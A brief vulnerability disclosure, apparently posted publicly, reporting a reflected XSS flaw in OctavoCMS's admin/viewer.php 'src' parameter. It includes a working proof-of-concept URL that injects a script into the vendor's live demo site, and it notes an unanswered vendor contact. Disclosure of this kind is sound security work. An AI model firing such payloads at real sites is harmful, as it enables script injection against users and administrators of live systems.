This proprietary content management software is vulnerable to reflected XSS on the file admin/viewer.php, src parameter.

Current release on their demo site is vulnerable, same as other few sites I could find.

PoC: http://demo.octavocms.com/admin/viewer.php?src=%22%3E%3C/img%3E%3Ch2%3EThis%20is%20a%20test%3C/h2%3E%3Cscript%3Ealert(123)%3C/script%3E%3C!--%22

On the 9th of June I contacted the guys of OctavoCMS and eMB Group but they have not replied yet. At the moment of this writing the on-line demo still vulnerable.